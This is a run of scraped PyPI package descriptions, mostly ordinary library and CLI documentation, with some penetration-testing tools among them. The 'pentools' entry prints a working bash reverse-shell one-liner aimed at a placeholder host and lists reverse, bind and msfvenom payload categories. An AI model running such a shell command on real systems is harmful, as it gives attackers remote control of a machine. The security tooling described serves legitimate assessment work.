Saravanan666/pypi-org huggingface dataset:
Package: pentapy
Welcome to pentapyPurposepentapy is a toolbox to deal with pentadiagonal matrices in Python.Pentadiagonal linear equation systems arise in many areas of science and engineering:
e.g. when solving differential equations, in interpolation problems, or in numerical schemes like finite difference.InstallationThe package can be installed viapip.
On Windows you can installWinPythonto get Python and pip running.pip install pentapyThere are pre-built wheels for Linux, MacOS and Windows for most Python versions.To get the scipy solvers running, you have to install scipy or you can use the
following extra argument:pip install pentapy[all]Instead of "all" you can also typ "scipy" or "umfpack" to get one of these specific packages.CitationIf you usepentapyin your publication, please cite it:Müller, (2019). pentapy: A Python toolbox for pentadiagonal linear systems. Journal of Open Source Software, 4(42), 1759,https://doi.org/10.21105/joss.01759To cite a certain release, have a look at the Zenodo site:https://doi.org/10.5281/zenodo.2587158ReferencesThe solver is based on the algorithms PTRANS-I and PTRANS-II
presented byAskar et al. 2015.Documentation and ExamplesYou can find the documentation underhttps://pentapy.readthedocs.org.Solving a pentadiagonal linear equation systemThis is an example of how to solve a LES with a pentadiagonal matrix.importnumpyasnpimportpentapyasppsize=1000# create a flattened pentadiagonal matrixM_flat=(np.random.random((5,size))-0.5)*1e-5V=np.random.random(size)*1e5# solve the LES with M_flat as row-wise flattened matrixX=pp.solve(M_flat,V,is_flat=True)# create the corresponding matrix for checkingM=pp.create_full(M_flat,col_wise=False)# calculate the errorprint(np.max(np.abs(np.dot(M,X)-V)))This should give something like:4.257890395820141e-08PerformanceIn the following a couple of solvers for pentadiagonal systems are compared:Solver 1: Standard linear algebra solver of Numpynp.linalg.solveSolver 2:scipy.sparse.linalg.spsolveSolver 3: Scipy banded solverscipy.linalg.solve_bandedSolver 4: pentapy.solve withsolver=1Solver 5: pentapy.solve withsolver=2The implementations of pentapy are almost one order of magnitude faster than the
scipy algorithms for banded or sparse matrices.The performance plot was created withperfplot.
Have a look at the script:examples/03_perform_simple.py.Requirements:NumPy >= 1.14.5OptionalSciPyscikit-umfpackContactYou can contact us viainfo@geostat-framework.org.LicenseMIT© 2019 - 2023
Package: pentesterhelper
IntroductionPentesterHelper is a great tool for pentesters who are looking to find static website vulnerabilities. It provides an easy-to-use interface that allows users to quickly identify potential security flaws in websites. The main feature of PentesterHelper is its automated scanning capability, which checks the entire website and looks for any known vulnerabilities or weaknesses. This can save time and effort when compared to manual testing methods, as it eliminates the need for manually entering each URL into a web browser or other tools.Another great thing about PentesterHelper is that it offers detailed reports on identified issues with links back to resources where you can learn more about them and how they may be exploited by hackers. Furthermore, this tool also has features such as email alerts when new threats are detected so you’ll always be aware of what’s going on with your site security status at all times!Finally, one of the most useful aspects of using PentesterHelper is its ability to generate custom reports based off user inputted criteria like IP address range scans or specific file types searches - making it easier than ever before for pentesters who want targeted results from their vulnerability assessments! All in all, if you're looking for an effective way to identify static website vulnerabilities then look no further than Pentester Helper - giving peace of mind knowing your sites are secure against malicious attacks while saving precious time too!Usespip install pentesterhelper==0.0.1Download Python File:https://github.com/pentesterhelper/pentesterhelper.github.io/blob/main/pentesterhelper.pyUses: pentesterhelper.py https://domain.com/ cmdArgs
cmdArgs: 
 1.  --all: Finding All Static vulnerability
 2.  --dir: Finding directory and saved CSV file
 3.  --server: Finding Platform/Server Name
 4.  --host: Finding Host Header Vulnerability
 5.  --options: Finding Options Method Enable or not
 6.  --autocomplete: Finding Autocomplete
 7.  --headers: Finding Security Headers and HSTS
 8.  --weakssl: Weak Hash AlgorithmDeveloperUrl:https://pentesterhelper.github.io/
Package: pentest-helper
pentest_helperQuick scripts that helps me during a pentest assessment and OSCP exams to initiate
folder structure and running basic commands like nmap.InstalationsudoPIPX_BIN_DIR=/usr/local/binpipxinstallpentest_helperUsageInitiating folder structure# Create a new mission structurepentest_helperinitoscp_boxes--hosts1.1.1.12.2.2.2# Showing the created structuretreeoscp_boxes/
oscp_boxes/
├──cmd_outputs
├──custom_rockyou.txt
├──exclude_scope.txt
├──hosts
│├──1.1.1.1
││├──loots
││├──ntlm_hashes.txt
││├──passwords.txt
││├──scans
│││└──nmap
││├──userntlmhashes.txt
││├──userpass.txt
││├──users.txt
││└──wordlist.txt
│└──2.2.2.2
│├──loots
│├──ntlm_hashes.txt
│├──passwords.txt
│├──scans
││└──nmap
│├──userntlmhashes.txt
│├──userpass.txt
│├──users.txt
│└──wordlist.txt
├──ip
│└──all.ip.txt
├──loots
├──notes.md
├──ntlm_hashes.txt
├──passwords.txt
├──scans
│└──nmap
├──scope.txt
├──screenshots
├──userntlmhashes.txt
├──userpass.txt
├──users.txt
└──wordlist.txt15directories,23files# Adding a new hostcdoscp_boxes
pentest_helperinit_host3.3.3.3# Show new structuretree

├──cmd_outputs
├──custom_rockyou.txt
├──exclude_scope.txt
├──hosts
│├──1.1.1.1
││├──loots
││├──ntlm_hashes.txt
││├──passwords.txt
││├──scans
│││└──nmap
││├──userntlmhashes.txt
││├──userpass.txt
││├──users.txt
││└──wordlist.txt
│├──2.2.2.2
││├──loots
││├──ntlm_hashes.txt
││├──passwords.txt
││├──scans
│││└──nmap
││├──userntlmhashes.txt
││├──userpass.txt
││├──users.txt
││└──wordlist.txt
│└──3.3.3.3
│├──loots
│├──ntlm_hashes.txt
│├──passwords.txt
│├──scans
││└──nmap
│├──userntlmhashes.txt
│├──userpass.txt
│├──users.txt
│└──wordlist.txt
├──ip
│└──all.ip.txt
├──loots
├──notes.md
├──ntlm_hashes.txt
├──passwords.txt
├──scans
│└──nmap
├──scope.txt
├──screenshots
├──userntlmhashes.txt
├──userpass.txt
├──users.txt
└──wordlist.txt19directories,29files
Package: pentest-report-generator
pentest-report-generatorGenerate HTML and PDF penetration testing reports from markdown files.UsageUsage: genpenrep [OPTIONS]

Options:
  -s, --sources DIRECTORY  Directory with .md source files
  -o, --output DIRECTORY   Directory to write output files
  -c, --compress           Create .zip archive with the HTML source files
  --only-pdf               Do not output HTML files
  --only-html              Do not output PDF file
  --help                   Show this message and exit.You can see an example penetration test and the output in theexampledirectory.Setup# Why is pipx better than pip? https://pypa.github.io/pipx/#how-is-it-different-from-pippipxinstallpentest-report-generator

pipinstallpentest-report-generatorThe software is also available as aDocker container.dockerrun-it--rm-v"$PWD/sources:/data"-v"$PWD/output:/output"'staticnoise/pentest-report-generator'-s/data-o/outputDevelopmentpipxinstall--editable./Dockerpodman login docker.io
poetry build

# update Dockerfile and bump-up the version number if necessary
podman build -t docker.io/staticnoise/pentest-report-generator .

# test the created docker container
podman run -it --rm -v "$PWD/sources:/data:z" -v "$PWD/output:/output:z" 'docker.io/staticnoise/pentest-report-generator' -s /data -o /output

# publish the Docker image
podman push docker.io/staticnoise/pentest-report-generatorPoetrypoetryconfigrepositories.pypihttps://upload.pypi.org/legacy/# you will be prompted for passwordpoetryconfighttp-basic.pypistaticnoise

poetrybuild

poetrypublish--dry-run
poetrypublishLicenseCopyright (c) 2022-2023 Adam Chovanec

Permission is hereby granted, free of charge, to any person
obtaining a copy of this software and associated documentation
files (the "Software"), to deal in the Software without
restriction, including without limitation the rights to use,
copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following
conditions:

The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES
OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT
HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
OTHER DEALINGS IN THE SOFTWARE.
Package: pentesttools
PTT-CLICommand Line Interface for PentestTools.InstallingPentestTools Python module is delivered through PyPI, so it can be installed directly via pip:pipinstallpentesttoolsScanningThepentesttoolspackage provides a command line interface through thepttutility. Right
now it supports the Website Scanner service.pttrunwebsite_scanner<url>Development installationIf you want to easily modify the sources and your modifications:pipinstall--edit.UninstallingpipuninstallpentesttoolsTesting and CoverageYou can run the tests and make coverage reports like this:python3-mpytestsrc/testscoveragerun-mpytestsrc/tests
coveragereport-m
Package: pentinsula
PentinsulaThis Python package provides utilities for managing time series data and chunked datasets in HDF5 files using theh5pypackage.
In this context, a time series is a sequence of arrays ('items') that may be constructed or read one item after the other.Installationpip3install.UsagePentinsula provides low level routines for handling a chunked HDF5 dataset through the classpentinsula.ChunkBuffer.
Higher level abstractions are implemented in the classpentinsula.TimeSeriesand in particular the iteratorsTimeSeries.read_iterandTimeSeries.write_iter.Creating a time series.The following code creates a new dataset and fills it with(2, 3)-arrays.frompentinsulaimportTimeSeriesimportnumpyasnp# Construct a new time series with chunk size 5 and item shape (2, 3).# Does not access any files.series=TimeSeries("myfile.h5","series",5,(2,3))# Create a dataset in the file.# write=False means that no data is written yet (no items have been set yet).series.create_dataset(filemode="w",write=False)# Iterate over items from time 0 to time 7 and fill with some data.for_,(time_index,item)inzip(range(7),series.write_iter()):item[...]=np.array([[time_index,time_index,time_index],[time_index*100,time_index*100,time_index*100]])Items are numpy array views and can be set using numpy indexing.
Here an ellipsis (...) is used to set the entire item.Note how the code above useszipandrangeto terminate the loop.
It is possible to usebreakinstead but in that case, the last item that was produced by the iterator is counted as being part of the series and gets written to file.
This means that# !!! BAD probably not doing what you expect!!!fortime_index,iteminseries.write_iter():iftime_index>=7:breakitem[...]=time_indexwrites8items, not the intended 7 and the content of the last one is undefined.Reading a time seriesThe time series constructed in the previous section can be read usingimporth5py# Load an existing time series starting at index 0.series=TimeSeries.load("myfile.h5","series",0)# Open the file manually to keep it open during reading.withh5py.File("myfile.h5","r")asf:dataset=f["series"]# Loop over all times.fortime_index,iteminseries.read_iter(file=f,dataset=dataset):print(time_index,":\n",item)which prints1 :
 [[  1.   1.   1.]
 [100. 100. 100.]]
2 :
 [[  2.   2.   2.]
 [200. 200. 200.]]
3 :
 [[  3.   3.   3.]
 [300. 300. 300.]]
4 :
 [[  4.   4.   4.]
 [400. 400. 400.]]
5 :
 [[  5.   5.   5.]
 [500. 500. 500.]]
6 :
 [[  6.   6.   6.]
 [600. 600. 600.]]In contrast towrite_iter,read_iterterminates on its own if it reaches the end of the dataset.The read example shows how you can keep the file open by passing a file and dataset handle (the latter can be omitted) to the iterator.
In thewrite_iterexample, the file is opened automatically whenever data needs to be written.
Both iterators support those two modes.LicenseDistributed under the MIT license. SeeLICENSEfor more information.
Package: pentools
CLI Tool for interacting with Pen Tools API.A command line interface tool for interacting with Pen Tools API. Quickly retrieve and format scripts using a simple set of commands.InstallationThe package requires Python 3.7 or higher.Install latest version fromPyPI:pip install pentoolsResourcesAPI documentationUsageRetrieve the list of scripts based on specified category (leave blank to see all).pentools listoutput:Available types

0. rev
1. bind
2. msf_venom
3. listenerAdd the-fflag to see available scripts.pentools list rev  -foutput:Available scripts and types

0. rev
    Shell session established on a connection that is initiated from a remote machine.
        0. bash_i [id: 1]('linux', 'mac')
        1. bash_196 [id: 2]('linux', 'mac')
        2. bash_read_line [id: 3]('linux', 'mac')
        3. Bash_5 [id: 4]('linux', 'mac')
        ...Retrieve and format a specific script by id.pentools script -i 1 -ho example.ip -p 12345 -s bin/bashoutput:---------------(code)---------------

bin/bash -i >& /dev/tcp/example.ip/12345 0>&1

-------------(end code)-------------
Package: pentoy
What does “Pentoy” mean?Pentoyis combined with “Py” and “Note”, obviously means what does it do and what makes it. It’s also a pen and a toy.Installation$ pip install pentoyCommandsCreate a Pentoy site:mkdir pentoy-demo
pentoy initCreate a new post:pentoy new 'first_note'Build files:pentoy buildPreview your site:pentoy serveUsage$ pentoy
Usage: pentoy [OPTIONS] COMMAND [ARGS]...

  Pentoy - A light note generator powered by Python.

Options:
  -h, --help       Show this message and exit
  --update         Update to latest.
  -j, --jumbotron  Fun.
  --version        Show the version and exit.


Usage Examples:
   Create a new site:
   $ pentoy init

   Post a new article:
   $ pentoy new

   Serve your site:
   $ pentoy server

   Deploy your site:
   $ pentoy deploy

   Clear your generated files:
   $ pentoy clean

Commands:
  build   Build your articles.
  clear   Clean your generated files.
  deploy  Deploy your site.
  init    Create an empty pentoy static site.
  new     Create a new article.
  server  Serve your site.
  test    Test for cliLICENSEMIT LicenseCopyright (c) 2017 sudozPermission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the “Software”), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Package: penut
PenutIntroductionThis package is a collection of my useful functions, including some useful IO operations.InstallationYou can install this package through pip:$pipinstallpenutUsageEasily load or dump and json/pkl/csv/npy file:importpenut.ioaspiodata=pio.load('data.json')data=pio.load('data.pkl')data=pio.load('data.csv')data=pio.load('data.npy')pio.dump(data,'data.json')pio.dump(data,'data.pkl')pio.dump(data,'data.csv')pio.dump(data,'data.npy')Easily measure the execution time of code:importtimefrompenutimportTimeCostwithTimeCost('Sleep Time'):time.sleep(1)# Output: Sleep Time: 1.000262s# With custom formatfmt=lambdamsg,tts:f'Hello{msg}, you cost{tts:.2f}s!!'withTimeCost('Custom Format',verbose_fmt=fmt):time.sleep(1)# Output: Hello Custom Format, you cost 1.00s!!Easily convertdatetime.timedeltato string:frompenutimporttd2sfromdatetimeimportdatetimea=datetime(2021,1,6,11,32,23)b=datetime(2021,1,7,12,38,17)d=b-aprint(td2s(d))# 62:17:54fmt=lambdah,m,s:f'{h}h{m}m{s}s'print(td2s(d,fmt))# 62h17m54s
Package: penut-utils
PenutIntroductionGitHubPyPIThis package is a collection of my useful functions.Including useful IO operation and NLP utils.InstallationYou can install this package through pip:pip install penutUsageYou can easily load or dump and json/pkl/csv/npy file:importpenut.ioaspiodata=pio.load('./data.json')data=pio.load('./data.pkl')data=pio.load('./data.csv')data=pio.load('./data.npy')pio.dump(data,'./data.json')pio.dump(data,'./data.pkl')pio.dump(data,'./data.csv')pio.dump(data,'./data.npy')You can easily measure the execute time of code:frompenut.uitlsimportTimeCostwithTimeCost('Sleep Time'):importtimetime.sleep(1)# Output: Sleep Time: 1.000262s
Package: penvy
Penvy - Pyfony development environmentfor thePyfony frameworkWhat it does:Prepares theConda-based python dev environmentin the project's.venv directoryInstalls thePoetry package managerinto the user's home dirInstalls all the dependencies defined in project'spoetry.lockfileSets conda activation & deactivation scripts (mostly setting environment variables based on the project's.env file)Copies the project's.env filefrom the.env.disttemplate fileAddspoetry install --no-rootto post-merge GIT hook
Package: pen-writer
PenPen is a CLI tool that allows you to run a local server to write and publish content for your Astro.js blogs.SetupPen requires a GitHub Access Token to get write and commit your content to a repository.The GitHub Access Token is only stored in a config file on your systemOnce you have installed Pen run theauthcommand, this will setup your config file:pen auth <github-access-token>Setup the repo you would like to write content for with:pen setup GitHubUsername/RepoNameYou can run the setup command multiple times to setup multiple repos.UsageOnce you have completed setup, you can start the server to start writing content with:pen startNavigate tohttp://localhost:8000to view the writing UI.Helper Commandspen configwill print your config filepen resetwill clear your config file
Package: peodd
peoddpoetry export, but only for dev-dependenciesScript to export the pyproject.toml dev-dependencies to a txt file.This software is licensed under GPL3 or later.Note:Right now, this tool supports only some poetry formats of the dependencies (see below)foo = "^1.2.3"bar = ">=1.2.3"bas = {extras = ["bar"], version = "^1.2.3"}baz = "1.2.3"I would be interested to add support for more formats, pleaseopen an issueincase if you need any other.RequirementsPython >= 3.6Poetry >= 1.0tomli >= 1.0.4Click >= 7.0.0release-tools >= 0.3.0InstallationPyPIYou can install the package directly using pip.$ pip install peoddGetting the source codeClone the repository$ git clone https://github.com/vchrombie/peodd/
$ cd peodd/PrerequisitesPoetryWe usePoetryfor managing the project.
You can install it followingthese steps.We useBitergia/release-toolsfor managing
the releases. This is also used in the project, so you need not install it again.InstallationInstall the required dependencies (this will also create a virtual environment)$ poetry installActivate the virtual environment$ poetry shellUsageOnce you install the tool, you can use it with thepeoddcommand.$ peodd --help
Usage: peodd [OPTIONS]

  Script to export the pyproject.toml dev-dependencies to a txt file.

Options:
  -o, --output TEXT  Output filename for the dependencies  [required]
  --non-dev          Export non-dev dependencies  [default: False]
  --help             Show this message and exit.Export the dev-dependencies torequirements-dev.txtfile$ peodd -o requirements-dev.txtExport the non-dev dependencies torequirements.txtfile$ peodd --non-dev -o requirements.txtContributionsAll contributions are welcome. Please feel free to open an issue or a PR.
If you are opening any PR for the code, please be sure to add achangelogentry.LicenseLicensed under GNU General Public License (GPL), version 3 or later.
Package: peony-twitter
InstallationTo install this module simply run:pip install 'peony-twitter[all]'This will install all the modules required to make peony run out of the box.
You might feel like some of them are not fit for your needs.
CheckAdvanced installationfor more information about how to install only
the modules you will need.Authorize your clientYou can usepeony.oauth_danceto authorize your client:>>>frompeony.oauth_danceimportoauth_dance>>>tokens=oauth_dance(YOUR_CONSUMER_KEY,YOUR_CONSUMER_SECRET)>>>frompeonyimportPeonyClient>>>client=PeonyClient(**tokens)This should open a browser to get a pin to authorize your application.Getting startedYou can easily create a client using the classPeonyClient.
Make sure to get your api keys and access tokens fromTwitter’s application management pageand/or toAuthorize your clientimportasyncio# NOTE: the package name is peony and not peony-twitterfrompeonyimportPeonyClientloop=asyncio.get_event_loop()# create the client using your api keysclient=PeonyClient(consumer_key=YOUR_CONSUMER_KEY,consumer_secret=YOUR_CONSUMER_SECRET,access_token=YOUR_ACCESS_TOKEN,access_token_secret=YOUR_ACCESS_TOKEN_SECRET)# this is a coroutinereq=client.api.statuses.update.post(status="I'm using Peony!!")# run the coroutineloop.run_until_complete(req)DocumentationReadPeony’s documentationon Read The Docs.There is a#peonychannel on theLibera IRC networkfor support and
discussion about Peony.
You can useLibera’s webchatto connect to this channel from your web browser.ContributingEvery kind of contribution is appreciated.If you find a bug please start an issue and if you’re very motivated you can
create a pull request.If you have a suggestion you can also start an issue and create a pull
request if you managed to make it work.TestsTo run the tests run:makeThe first time this command is run it will install all the dependencies
which can take a bit of time.The tests include a code style test. The code style is mostly PEP8, the only
exception so far being long urls included in docstrings and some imports
that are not at the top of the file (because they can’t be there).You can also use tox to run the tests, a configuration file is provided:tox
Package: peopleai-api
peopleai-apiPython library to downloadactivities from People.ai’s REST APIfrompeopleai_apiimportPeopleAIClientclient=PeopleAIClient('<api_key>','<api_secret>')job_id=client.start_activities_export(start_date='2020-08-06',end_date='2020-08-06',activity_type='all',output_format='JSONLines',export_type='delta')client.check_activities_export(job_id,until_completed=True)client.download_activities_export(job_id,'/tmp/peopleai-export.json')Links & Contact InfoPyPI Package:https://pypi.org/project/peopleai-api/GitHub Source:https://github.com/maxzheng/peopleai-apiReport Issues/Bugs:https://github.com/maxzheng/peopleai-api/issuesConnect:https://www.linkedin.com/in/maxzhengContact: maxzheng.os @t gmail.com
Package: people-also-ask-it
People-also-ask-it Api#intelligenzaartificialeitalia.netInstallationpip install people_also_ask_itImportingimportpeople_also_ask_itCome ottenere domande correlatepeople_also_ask_it.get_related_questions("caffè")Come ottenere più domandepeople_also_ask_it.get_related_questions("coffee",5)Ottieni una risposta semplice per una domandapeople_also_ask_it.get_simple_answer("Cosa è il caffè?")##LicenzaMIT© Copyright 2020-2022 Intelligenza Artificiale Italia!